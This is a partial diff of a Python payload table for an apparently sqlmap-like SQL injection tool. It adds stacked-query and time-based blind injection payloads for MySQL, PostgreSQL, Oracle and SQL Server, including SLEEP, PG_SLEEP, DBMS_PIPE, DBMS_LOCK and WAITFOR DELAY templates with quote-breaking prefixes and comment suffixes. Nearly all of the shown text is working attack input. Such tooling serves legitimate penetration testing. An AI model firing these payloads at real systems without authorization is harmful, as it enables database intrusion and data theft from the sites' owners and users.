| skipped 161 lines |
162 | 162 | | PAYLOADS = { |
163 | 163 | | "MySQL": { |
164 | 164 | | "inline-query": [], |
165 | | - | "stacked-queries": [], |
| 165 | + | "stacked-queries": [ |
| 166 | + | { |
| 167 | + | "payload": "(SELECT(1)FROM(SELECT(SLEEP([SLEEPTIME])))a)", |
| 168 | + | "comments": [ |
| 169 | + | {"pref": ";", "suf": "--"}, |
| 170 | + | {"pref": ",", "suf": "--"}, |
| 171 | + | {"pref": "';", "suf": "--"}, |
| 172 | + | {"pref": '";', "suf": "--"}, |
| 173 | + | {"pref": ");", "suf": "--"}, |
| 174 | + | {"pref": "');", "suf": "--"}, |
| 175 | + | {"pref": '");', "suf": "--"}, |
| 176 | + | {"pref": "',", "suf": "--"}, |
| 177 | + | {"pref": '",', "suf": "--"}, |
| 178 | + | ], |
| 179 | + | "title": "MySQL >= 5.0.12 stacked queries (query SLEEP)", |
| 180 | + | "vector": "(SELECT(1)FROM(SELECT(IF([INFERENCE],SLEEP([SLEEPTIME]),0)))a)", |
| 181 | + | "dbms": "MySQL", |
| 182 | + | }, |
| 183 | + | { |
| 184 | + | "payload": "if(now()=sysdate(),sleep([SLEEPTIME]),0)", |
| 185 | + | "comments": [ |
| 186 | + | {"pref": ";", "suf": "--"}, |
| 187 | + | {"pref": ",", "suf": "--"}, |
| 188 | + | {"pref": "';", "suf": "--"}, |
| 189 | + | {"pref": '";', "suf": "--"}, |
| 190 | + | {"pref": ");", "suf": "--"}, |
| 191 | + | {"pref": "');", "suf": "--"}, |
| 192 | + | {"pref": '");', "suf": "--"}, |
| 193 | + | {"pref": "',", "suf": "--"}, |
| 194 | + | {"pref": '",', "suf": "--"}, |
| 195 | + | ], |
| 196 | + | "title": "MySQL >= 5.0.12 stacked queries (query SLEEP - comment)", |
| 197 | + | "vector": "if([INFERENCE],sleep([SLEEPTIME]),0)", |
| 198 | + | "dbms": "MySQL", |
| 199 | + | }, |
| 200 | + | { |
| 201 | + | "payload": "(SELECT CASE WHEN(1234=1234) THEN SLEEP([SLEEPTIME]) ELSE 0 END)", |
| 202 | + | "comments": [ |
| 203 | + | {"pref": ";", "suf": "--"}, |
| 204 | + | {"pref": ",", "suf": "--"}, |
| 205 | + | {"pref": "';", "suf": "--"}, |
| 206 | + | {"pref": '";', "suf": "--"}, |
| 207 | + | {"pref": ");", "suf": "--"}, |
| 208 | + | {"pref": "');", "suf": "--"}, |
| 209 | + | {"pref": '");', "suf": "--"}, |
| 210 | + | {"pref": "',", "suf": "--"}, |
| 211 | + | {"pref": '",', "suf": "--"}, |
| 212 | + | ], |
| 213 | + | "title": "MySQL >= 5.0.12 stacked queries (query SLEEP - CASE STATEMENT)", |
| 214 | + | "vector": "(SELECT CASE WHEN([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE 0 END)", |
| 215 | + | "dbms": "MySQL", |
| 216 | + | }, |
| 217 | + | ], |
166 | 218 | | "boolean-based": [ |
167 | 219 | | { |
168 | 220 | | "payload": "AND [RANDNUM]=[RANDNUM]", |
| skipped 100 lines |
269 | 321 | | # {"pref": "')", "suf": "XOR('1'='1 wXyW"}, |
270 | 322 | | # {"pref": '")', "suf": 'XOR("1"="1-- wXyW'}, |
271 | 323 | | ], |
272 | | - | "title": "AND/OR boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)", |
| 324 | + | "title": "AND,OR boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)", |
273 | 325 | | "vector": "(SELECT CASE WHEN([INFERENCE]) THEN 9854 ELSE 0 END)", |
274 | 326 | | "dbms": "", |
275 | 327 | | }, |
| skipped 52 lines |
328 | 380 | | { |
329 | 381 | | "payload": "(SELECT(1)FROM(SELECT(SLEEP([SLEEPTIME])))a)", |
330 | 382 | | "comments": [ |
331 | | - | {"pref": "", "suf": ""}, |
332 | 383 | | {"pref": "", "suf": ""}, |
333 | 384 | | {"pref": "'+", "suf": "+'"}, |
334 | 385 | | {"pref": '"+', "suf": '+"'}, |
| skipped 495 lines |
830 | 881 | | "PostgreSQL": { |
831 | 882 | | "boolean-based": [], |
832 | 883 | | "inline-query": [], |
833 | | - | "stacked-queries": [], |
| 884 | + | "stacked-queries": [ |
| 885 | + | { |
| 886 | + | "payload": "(SELECT 4564 FROM PG_SLEEP([SLEEPTIME]))", |
| 887 | + | "comments": [ |
| 888 | + | {"pref": ";", "suf": ""}, |
| 889 | + | {"pref": "';", "suf": "--"}, |
| 890 | + | {"pref": '";', "suf": "--"}, |
| 891 | + | {"pref": ");", "suf": "--"}, |
| 892 | + | {"pref": "');", "suf": "--"}, |
| 893 | + | {"pref": '");', "suf": "--"}, |
| 894 | + | ], |
| 895 | + | "title": "PostgreSQL > 8.1 stacked queries", |
| 896 | + | "vector": "AND 4564=(CASE WHEN ([INFERENCE]) THEN (SELECT 4564 FROM PG_SLEEP([SLEEPTIME])) ELSE 4564 END)", |
| 897 | + | "dbms": "PostgreSQL", |
| 898 | + | }, |
| 899 | + | { |
| 900 | + | "payload": "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))", |
| 901 | + | "comments": [ |
| 902 | + | {"pref": ";", "suf": ""}, |
| 903 | + | {"pref": "';", "suf": "--"}, |
| 904 | + | {"pref": '";', "suf": "--"}, |
| 905 | + | {"pref": ");", "suf": "--"}, |
| 906 | + | {"pref": "');", "suf": "--"}, |
| 907 | + | {"pref": '");', "suf": "--"}, |
| 908 | + | ], |
| 909 | + | "title": "PostgreSQL stacked queries (heavy query)", |
| 910 | + | "vector": "(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1234 END))", |
| 911 | + | "dbms": "PostgreSQL", |
| 912 | + | }, |
| 913 | + | ], |
834 | 914 | | "time-based": [ |
835 | 915 | | { |
836 | 916 | | "payload": "AND 4564=(SELECT 4564 FROM PG_SLEEP([SLEEPTIME]))", |
| skipped 83 lines |
920 | 1000 | | "Oracle": { |
921 | 1001 | | "boolean-based": [], |
922 | 1002 | | "inline-query": [], |
923 | | - | "stacked-queries": [], |
| 1003 | + | "stacked-queries": [ |
| 1004 | + | { |
| 1005 | + | "payload": "(SELECT DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) FROM DUAL)", |
| 1006 | + | "comments": [ |
| 1007 | + | {"pref": ";", "suf": ""}, |
| 1008 | + | {"pref": "';", "suf": "--"}, |
| 1009 | + | {"pref": '";', "suf": "--"}, |
| 1010 | + | {"pref": ");", "suf": "--"}, |
| 1011 | + | {"pref": "');", "suf": "--"}, |
| 1012 | + | {"pref": '");', "suf": "--"}, |
| 1013 | + | ], |
| 1014 | + | "title": "Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)", |
| 1015 | + | "vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) ELSE 5238 END)", |
| 1016 | + | "dbms": "Oracle", |
| 1017 | + | }, |
| 1018 | + | { |
| 1019 | + | "payload": "BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END", |
| 1020 | + | "comments": [ |
| 1021 | + | {"pref": ";", "suf": ""}, |
| 1022 | + | {"pref": "';", "suf": "--"}, |
| 1023 | + | {"pref": '";', "suf": "--"}, |
| 1024 | + | {"pref": ");", "suf": "--"}, |
| 1025 | + | {"pref": "');", "suf": "--"}, |
| 1026 | + | {"pref": '");', "suf": "--"}, |
| 1027 | + | ], |
| 1028 | + | "title": "Oracle stacked queries (DBMS_LOCK.SLEEP - comment)", |
| 1029 | + | "vector": "BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END", |
| 1030 | + | "dbms": "Oracle", |
| 1031 | + | }, |
| 1032 | + | { |
| 1033 | + | "payload": "BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END", |
| 1034 | + | "comments": [ |
| 1035 | + | {"pref": ";", "suf": ""}, |
| 1036 | + | {"pref": "';", "suf": "--"}, |
| 1037 | + | {"pref": '";', "suf": "--"}, |
| 1038 | + | {"pref": ");", "suf": "--"}, |
| 1039 | + | {"pref": "');", "suf": "--"}, |
| 1040 | + | {"pref": '");', "suf": "--"}, |
| 1041 | + | ], |
| 1042 | + | "title": "Oracle stacked queries (USER_LOCK.SLEEP - comment)", |
| 1043 | + | "vector": "BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END", |
| 1044 | + | "dbms": "Oracle", |
| 1045 | + | }, |
| 1046 | + | ], |
924 | 1047 | | "time-based": [ |
925 | 1048 | | { |
926 | | - | "payload": "DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME])", |
| 1049 | + | "payload": "DBMS_PIPE.RECEIVE_MESSAGE('IsjT',[SLEEPTIME])", |
927 | 1050 | | "comments": [ |
928 | | - | # {"pref": " ", "suf": ""}, |
929 | | - | {"pref": " ", "suf": "-- wXyW"}, |
| 1051 | + | {"pref": "", "suf": ""}, |
| 1052 | + | {"pref": "AND 8675=", "suf": "--"}, |
| 1053 | + | {"pref": "OR 8675=", "suf": "--"}, |
930 | 1054 | | # {"pref": "' ", "suf": ""}, |
931 | | - | {"pref": "' ", "suf": "-- wXyW"}, |
932 | | - | {"pref": "';", "suf": "-- wXyW"}, |
| 1055 | + | {"pref": "' AND 8675=", "suf": "--"}, |
| 1056 | + | {"pref": "' OR 8675=", "suf": "--"}, |
| 1057 | + | # {"pref": '" ', "suf": ""}, |
| 1058 | + | {"pref": '" AND 8675=', "suf": "--"}, |
| 1059 | + | {"pref": '" OR 8675=', "suf": "--"}, |
| 1060 | + | # {"pref": ") ", "suf": ""}, |
| 1061 | + | {"pref": ") AND 8675=", "suf": "--"}, |
| 1062 | + | {"pref": ") OR 8675=", "suf": "--"}, |
| 1063 | + | # {"pref": "') ", "suf": ""}, |
| 1064 | + | {"pref": "') AND 8675=", "suf": "--"}, |
| 1065 | + | {"pref": "') OR 8675=", "suf": "--"}, |
| 1066 | + | # {"pref": '") ', "suf": ""}, |
| 1067 | + | {"pref": '") AND 8675=', "suf": "--"}, |
| 1068 | + | {"pref": '") OR 8675=', "suf": "--"}, |
| 1069 | + | ], |
| 1070 | + | "title": "Oracle time-based blind (DBMS_PIPE.RECEIVE_MESSAGE - comment)", |
| 1071 | + | "vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('IkdY',[SLEEPTIME]) ELSE 5689 END)", |
| 1072 | + | "dbms": "Oracle", |
| 1073 | + | }, |
| 1074 | + | { |
| 1075 | + | "payload": "DBMS_LOCK.SLEEP([SLEEPTIME])", |
| 1076 | + | "comments": [ |
| 1077 | + | {"pref": "", "suf": ""}, |
| 1078 | + | {"pref": "AND 8675=", "suf": "--"}, |
| 1079 | + | {"pref": "OR 8675=", "suf": "--"}, |
| 1080 | + | # {"pref": "' ", "suf": ""}, |
| 1081 | + | {"pref": "' AND 8675=", "suf": "--"}, |
| 1082 | + | {"pref": "' OR 8675=", "suf": "--"}, |
933 | 1083 | | # {"pref": '" ', "suf": ""}, |
934 | | - | {"pref": '" ', "suf": "-- wXyW"}, |
| 1084 | + | {"pref": '" AND 8675=', "suf": "--"}, |
| 1085 | + | {"pref": '" OR 8675=', "suf": "--"}, |
935 | 1086 | | # {"pref": ") ", "suf": ""}, |
936 | | - | {"pref": ") ", "suf": "-- wXyW"}, |
| 1087 | + | {"pref": ") AND 8675=", "suf": "--"}, |
| 1088 | + | {"pref": ") OR 8675=", "suf": "--"}, |
937 | 1089 | | # {"pref": "') ", "suf": ""}, |
938 | | - | {"pref": "') ", "suf": "-- wXyW"}, |
| 1090 | + | {"pref": "') AND 8675=", "suf": "--"}, |
| 1091 | + | {"pref": "') OR 8675=", "suf": "--"}, |
939 | 1092 | | # {"pref": '") ', "suf": ""}, |
940 | | - | {"pref": '") ', "suf": "-- wXyW"}, |
| 1093 | + | {"pref": '") AND 8675=', "suf": "--"}, |
| 1094 | + | {"pref": '") OR 8675=', "suf": "--"}, |
941 | 1095 | | ], |
942 | | - | "title": "Oracle time-based blind", |
943 | | - | "vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) ELSE 5238 END)", |
| 1096 | + | "title": "Oracle time-based blind (DBMS_LOCK.SLEEP - comment)", |
| 1097 | + | "vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]) ELSE DBMS_LOCK.SLEEP(0) END)", |
944 | 1098 | | "dbms": "Oracle", |
945 | 1099 | | }, |
946 | 1100 | | { |
947 | | - | "payload": "8675=DBMS_PIPE.RECEIVE_MESSAGE('IsjT',[SLEEPTIME])", |
| 1101 | + | "payload": "USER_LOCK.SLEEP([SLEEPTIME])", |
948 | 1102 | | "comments": [ |
949 | | - | # {"pref": " ", "suf": ""}, |
950 | | - | {"pref": "AND ", "suf": "--"}, |
951 | | - | {"pref": "OR ", "suf": "--"}, |
| 1103 | + | {"pref": "", "suf": ""}, |
| 1104 | + | {"pref": "AND 8675=", "suf": "--"}, |
| 1105 | + | {"pref": "OR 8675=", "suf": "--"}, |
952 | 1106 | | # {"pref": "' ", "suf": ""}, |
953 | | - | {"pref": "' AND ", "suf": "--"}, |
954 | | - | {"pref": "' OR ", "suf": "--"}, |
| 1107 | + | {"pref": "' AND 8675=", "suf": "--"}, |
| 1108 | + | {"pref": "' OR 8675=", "suf": "--"}, |
955 | 1109 | | # {"pref": '" ', "suf": ""}, |
956 | | - | {"pref": '" AND ', "suf": "--"}, |
957 | | - | {"pref": '" OR ', "suf": "--"}, |
| 1110 | + | {"pref": '" AND 8675=', "suf": "--"}, |
| 1111 | + | {"pref": '" OR 8675=', "suf": "--"}, |
958 | 1112 | | # {"pref": ") ", "suf": ""}, |
959 | | - | {"pref": ") AND ", "suf": "--"}, |
960 | | - | {"pref": ") OR ", "suf": "--"}, |
| 1113 | + | {"pref": ") AND 8675=", "suf": "--"}, |
| 1114 | + | {"pref": ") OR 8675=", "suf": "--"}, |
961 | 1115 | | # {"pref": "') ", "suf": ""}, |
962 | | - | {"pref": "') AND ", "suf": "--"}, |
963 | | - | {"pref": "') OR ", "suf": "--"}, |
| 1116 | + | {"pref": "') AND 8675=", "suf": "--"}, |
| 1117 | + | {"pref": "') OR 8675=", "suf": "--"}, |
964 | 1118 | | # {"pref": '") ', "suf": ""}, |
965 | | - | {"pref": '") AND ', "suf": "--"}, |
966 | | - | {"pref": '") OR ', "suf": "--"}, |
| 1119 | + | {"pref": '") AND 8675=', "suf": "--"}, |
| 1120 | + | {"pref": '") OR 8675=', "suf": "--"}, |
967 | 1121 | | ], |
968 | | - | "title": "Oracle AND/OR time-based blind (comment)", |
969 | | - | "vector": "8675=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('IkdY',[SLEEPTIME]) ELSE 5689 END)", |
| 1122 | + | "title": "Oracle time-based blind (USER_LOCK.SLEEP - comment)", |
| 1123 | + | "vector": "(CASE WHEN ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]) ELSE USER_LOCK.SLEEP(0) END)", |
970 | 1124 | | "dbms": "Oracle", |
971 | 1125 | | }, |
972 | 1126 | | ], |
| skipped 44 lines |
1017 | 1171 | | "boolean-based": [], |
1018 | 1172 | | "inline-query": [], |
1019 | 1173 | | "stacked-queries": [ |
1020 | | - | # { |
1021 | | - | # "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'", |
1022 | | - | # "comments": [ |
1023 | | - | # {"pref": ";", "suf": ""}, |
1024 | | - | # {"pref": "';", "suf": ""}, |
1025 | | - | # {"pref": '";', "suf": ""}, |
1026 | | - | # {"pref": ");", "suf": ""}, |
1027 | | - | # {"pref": "');", "suf": ""}, |
1028 | | - | # {"pref": '");', "suf": ""}, |
1029 | | - | # ], |
1030 | | - | # "title": "Microsoft SQL Server/Sybase stacked queries", |
1031 | | - | # "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''", |
1032 | | - | # "dbms": "Microsoft SQL Server", |
1033 | | - | # }, |
1034 | | - | # { |
1035 | | - | # "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'", |
1036 | | - | # "comments": [ |
1037 | | - | # {"pref": ";", "suf": "--"}, |
1038 | | - | # {"pref": "';", "suf": "--"}, |
1039 | | - | # {"pref": '";', "suf": "--"}, |
1040 | | - | # {"pref": ");", "suf": "--"}, |
1041 | | - | # {"pref": "');", "suf": "--"}, |
1042 | | - | # {"pref": '");', "suf": "--"}, |
1043 | | - | # ], |
1044 | | - | # "title": "Microsoft SQL Server/Sybase stacked queries (comment)", |
1045 | | - | # "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''", |
1046 | | - | # "dbms": "Microsoft SQL Server", |
1047 | | - | # }, |
| 1174 | + | { |
| 1175 | + | "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'", |
| 1176 | + | "comments": [ |
| 1177 | + | {"pref": ";", "suf": ""}, |
| 1178 | + | {"pref": "';", "suf": ""}, |
| 1179 | + | {"pref": '";', "suf": ""}, |
| 1180 | + | {"pref": ");", "suf": ""}, |
| 1181 | + | {"pref": "');", "suf": ""}, |
| 1182 | + | {"pref": '");', "suf": ""}, |
| 1183 | + | ], |
| 1184 | + | "title": "Microsoft SQL Server/Sybase stacked queries", |
| 1185 | + | "vector": "IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'", |
| 1186 | + | "dbms": "Microsoft SQL Server", |
| 1187 | + | }, |
| 1188 | + | { |
| 1189 | + | "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'", |
| 1190 | + | "comments": [ |
| 1191 | + | {"pref": ";", "suf": "--"}, |
| 1192 | + | {"pref": "';", "suf": "--"}, |
| 1193 | + | {"pref": '";', "suf": "--"}, |
| 1194 | + | {"pref": ");", "suf": "--"}, |
| 1195 | + | {"pref": "');", "suf": "--"}, |
| 1196 | + | {"pref": '");', "suf": "--"}, |
| 1197 | + | ], |
| 1198 | + | "title": "Microsoft SQL Server/Sybase stacked queries (comment)", |
| 1199 | + | "vector": "IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'", |
| 1200 | + | "dbms": "Microsoft SQL Server", |
| 1201 | + | }, |
1048 | 1202 | | ], |
1049 | 1203 | | "time-based": [ |
1050 | 1204 | | { |
| skipped 554 lines |